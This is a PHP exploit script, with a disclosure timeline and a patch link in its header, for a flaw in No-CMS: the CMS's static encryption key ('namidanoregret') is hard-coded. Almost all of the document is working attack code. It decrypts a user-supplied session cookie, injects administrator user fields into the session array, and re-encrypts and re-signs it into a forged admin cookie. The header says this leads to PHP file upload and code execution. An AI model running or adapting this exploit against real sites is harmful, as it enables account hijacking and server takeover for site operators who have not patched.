<?php /* *  * Static encryption_key of No-CMS lead to Session Array Injection in order to * hijack administrator account then you will be able for upload php files to * server via theme/module upload. *  * This exploit generates cookie for administrator access from non-privileges cookie. *   * Full analysis can be found following link. * http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/ *  * TIMELINE *  * Apr 21, 2014 at 20:17 PM = Vulnerability found. * Apr 22, 2014 at 1:27 AM = First contact with no-cms developers. * Apr 22, 2014 at 1:31 AM = Response from no-cms developer. * Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers. * Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit. * https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd */define('KEY', 'namidanoregret'); define('KEYWORD', 'session_id');   function log_message($type = 'debug', $str){     echo PHP_EOL."[".$type."] ".$str; } function show_error($str){     echo PHP_EOL."[error] ".$str.PHP_EOL;     exit(0); } function _print($str){     log_message("info", $str.PHP_EOL); } class CI_Encrypt {     public $encryption_key      = '';     protected $_hash_type       = 'sha1';     protected $_mcrypt_exists   = FALSE;     protected $_mcrypt_cipher;     protected $_mcrypt_mode;     public function __construct()     {         $this->_mcrypt_exists = function_exists('mcrypt_encrypt');         log_message('debug', 'Encrypt Class Initialized');     }     public function get_key($key = '')     {         return md5($this->encryption_key);     }     public function set_key($key = '')     {         $this->encryption_key = $key;         return $this;     }     public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '')     {         if ($this->_mcrypt_exists === FALSE)         {             log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.');             return FALSE;         }         elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))         {             return FALSE;         }         $current_mode = $this->_get_mode();         $this->set_mode($legacy_mode);           $key = $this->get_key($key);         $dec = base64_decode($string);         if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE)         {             $this->set_mode($current_mode);             return FALSE;         }         $dec = $this->_xor_decode($dec, $key);         $this->set_mode($current_mode);         return base64_encode($this->mcrypt_encode($dec, $key));     }     public function _xor_encode($string, $key = '')     {         if($key === '')             $key = $this->get_key();         $rand = '';         do        {             $rand .= mt_rand();         }         while (strlen($rand) < 32);         $rand = $this->hash($rand);         $enc = '';         for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++)         {             $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]);         }         return $this->_xor_merge($enc, $key);     }     public function _xor_decode($string, $key = '')     {         if($key === '')             $key = $this->get_key();         $string = $this->_xor_merge($string, $key);           $dec = '';         for ($i = 0, $l = strlen($string); $i < $l; $i++)         {             $dec .= ($string[$i++] ^ $string[$i]);         }         return $dec;     }     protected function _xor_merge($string, $key)     {         $hash = $this->hash($key);         $str = '';         for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++)         {             $str .= $string[$i] ^ $hash[($i % $lh)];         }         return $str;     }     public function mcrypt_encode($data, $key = '')     {         if($key === '')             $key = $this->get_key();         $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());         $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);         return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key);     }     public function mcrypt_decode($data, $key = '')     {         if($key === '')             $key = $this->get_key();         $data = $this->_remove_cipher_noise($data, $key);         $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());           if ($init_size > strlen($data))         {             return FALSE;         }           $init_vect = substr($data, 0, $init_size);         $data = substr($data, $init_size);         return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0");     }     protected function _add_cipher_noise($data, $key)     {         $key = $this->hash($key);         $str = '';         for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)         {             if ($j >= $lk)             {                 $j = 0;             }             $str .= chr((ord($data[$i]) + ord($key[$j])) % 256);         }         return $str;     }     protected function _remove_cipher_noise($data, $key)     {         $key = $this->hash($key);         $str = '';         for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)         {             if ($j >= $lk)             {                 $j = 0;             }             $temp = ord($data[$i]) - ord($key[$j]);             if ($temp < 0)             {                 $temp += 256;             }             $str .= chr($temp);         }         return $str;     }     public function set_cipher($cipher)     {         $this->_mcrypt_cipher = $cipher;         return $this;     }     public function set_mode($mode)     {         $this->_mcrypt_mode = $mode;         return $this;     }     protected function _get_cipher()     {         if ($this->_mcrypt_cipher === NULL)         {             return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256;         }         return $this->_mcrypt_cipher;     }     protected function _get_mode()     {         if ($this->_mcrypt_mode === NULL)         {             return $this->_mcrypt_mode = MCRYPT_MODE_CBC;         }         return $this->_mcrypt_mode;     }     public function set_hash($type = 'sha1')     {         $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1';     }     public function hash($str)     {         return hash($this->_hash_type, $str);     }   }   $encryption = new CI_Encrypt(); $encryption->set_key(KEY);   // WRITE YOUR OWN COOKIE HERE!  $cookie = rawurldecode("DZyb3lI68zh+RBNg8C4M03TEJhMR4BBMzNWA1YUampWQ6UKaiUhG48rwkdfIs9DJYNQc8pZDniflInnUrQz1FbRxueQ3NLCahBBmrTuw8Ib7OL7ycm/IbuR81WEVrWpYOnQ4Z57/w21OCyVw42TjSkXkfWfN67veJr5630eTBA03vRbvLunZ9RLEuElqNrJu/H63yibCv8fyRWNnKs56i5OuU6Dso11O49k4fhxd008WTvsGliLxiErCkWwYfGfcjUA3V2Mh9mkrLk0YEKIbt3hbNXhAnGhIVIVJURhnmibqEFUacB1gP1GnbP2fQy3NpJt317n/3/sH+jH4lM+53IY1HOJh7n/J6RU9jqMr1hdeslDxFaV7SCuB4vPuO7SScec8063aae4808b195d818d86fda1d280ebb06bd");   $len = strlen($cookie) - 40;   if ($len < 0) {     show_error('The session cookie was not signed.'); } // Check cookie authentication $hmac    = substr($cookie, $len); $session = substr($cookie, 0, $len);   if ($hmac !== hash_hmac('sha1', $session, KEY)) {     show_error('The session cookie data did not match what was expected.'); }   // Detect target encryption method and Decrypt session $_mcrypt = $encryption->mcrypt_decode(base64_decode($session)); $_xor = $encryption->_xor_decode(base64_decode($session)); $method = ''; $plain = '';   if (strpos($_mcrypt, KEYWORD) !== false) {     _print("Encryption method is mcrypt!");     $method = 'm';     $plain = $_mcrypt; } else if (strpos($_xor, KEYWORD) !== false) {     _print("Encryption method is xor!");     $method = 'x';     $plain = $_xor; } else {     show_error("something went wrong."); }   // Unserialize session string in order to create session array. $session = unserialize($plain); _print("Current Session Array :"); print_r($session).PHP_EOL;   // Add extra fields into it $session['cms_user_name'] = 'admin'; $session['cms_user_id'] = 1;   // Print out payload string. _print("Payload appended Session Array :"); print_r($session).PHP_EOL;   // Serialize it $session = serialize($session);     // Encrypt it with same key. if ($method === 'm')     $payload = base64_encode($encryption->mcrypt_encode($session)); if ($method === 'x')     $payload = base64_encode($encryption->_xor_encode($session));   // Calculation of hmac to add it end of the encrypted session string. $payload .= hash_hmac('sha1', $payload, KEY);   _print("New Cookie"); _print($payload);